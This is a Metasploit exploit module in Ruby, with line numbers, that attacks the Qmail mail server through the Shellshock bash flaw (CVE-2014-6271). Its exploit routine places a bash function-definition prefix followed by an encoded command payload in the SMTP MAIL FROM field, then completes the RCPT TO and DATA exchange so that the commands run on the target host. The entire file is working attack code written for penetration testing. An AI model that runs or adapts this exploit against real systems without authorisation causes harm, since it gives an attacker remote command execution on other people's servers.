1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Smtp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
16
        'Description' => %q{
17
          This module exploits a shellshock vulnerability on Qmail, a public
18
          domain MTA written in C that runs on Unix systems.
19
          Due to the lack of validation on the MAIL FROM field, it is possible to
20
          execute shell code on a system with a vulnerable BASH (Shellshock).
21
          This flaw works on the latest Qmail versions (qmail-1.03 and
22
          netqmail-1.06).
23
          However, in order to execute code, /bin/sh has to be linked to bash
24
          (usually default configuration) and a valid recipient must be set on the
25
          RCPT TO field (usually [email protected]).
26
          The exploit does not work on the "qmailrocks" community version
27
          as it ensures the MAILFROM field is well-formed.
28
        },
29
        'Author' => [
30
          'Mario Ledo (Metasploit module)',
31
          'Gabriel Follon (Metasploit module)',
32
          'Kyle George (Vulnerability discovery)'
33
        ],
34
        'License' => MSF_LICENSE,
35
        'Platform' => ['unix'],
36
        'Arch' => ARCH_CMD,
37
        'References' => [
38
          ['CVE', '2014-6271'],
39
          ['CWE', '94'],
40
          ['OSVDB', '112004'],
41
          ['EDB', '34765'],
42
          ['URL', 'https://seclists.org/oss-sec/2014/q3/649'],
43
          ['URL', 'https://lists.gt.net/qmail/users/138578']
44
        ],
45
        'Payload' => {
46
          'BadChars' => "\x3e",
47
          'Space' => 888,
48
          'DisableNops' => true,
49
          'Compat' =>
50
                        {
51
                          'PayloadType' => 'cmd',
52
                          'RequiredCmd' => 'generic telnet perl ruby python'
53
                          # telnet ruby python and perl works only if installed on target
54
                        }
55
        },
56
        'Targets' => [ [ 'Automatic', {}] ],
57
        'DefaultTarget' => 0,
58
        'DisclosureDate' => '2014-09-24',
59
        'Notes' => {
60
          'Reliability' => UNKNOWN_RELIABILITY,
61
          'Stability' => UNKNOWN_STABILITY,
62
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
63
        }
64
      )
65
    )
66

67
    deregister_options('MAILFROM')
68
  end
69

70
  def smtp_send(data = nil)
71
    begin
72
      result = ''
73
      code = 0
74
      sock.put("#{data}")
75
      result = sock.get_once
76
      result.chomp! if (result)
77
      code = result[0..2].to_i if result
78
      return result, code
79
    rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
80
      return result, 0
81
    rescue ::Exception => e
82
      print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
83
      return nil, 0
84
    end
85
  end
86

87
  def exploit
88
    to = datastore['MAILTO']
89
    connect
90
    result = smtp_send("HELO localhost\r\n")
91
    if result[1] < 200 || result[1] > 300
92
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
93
    end
94
    print_status('Sending the payload...')
95
    result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
96
    if result[1] < 200 || result[1] > 300
97
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
98
    end
99
    print_status("Sending RCPT TO #{to}")
100
    result = smtp_send("rcpt to:<#{to}>\r\n")
101
    if result[1] < 200 || result[1] > 300
102
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
103
    end
104
    result = smtp_send("data\r\n")
105
    if result[1] < 200 || result[1] > 354
106
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
107
    end
108
    result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
109
    if result[1] < 200 || result[1] > 300
110
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
111
    end
112
    disconnect
113
  end
114
end
115

116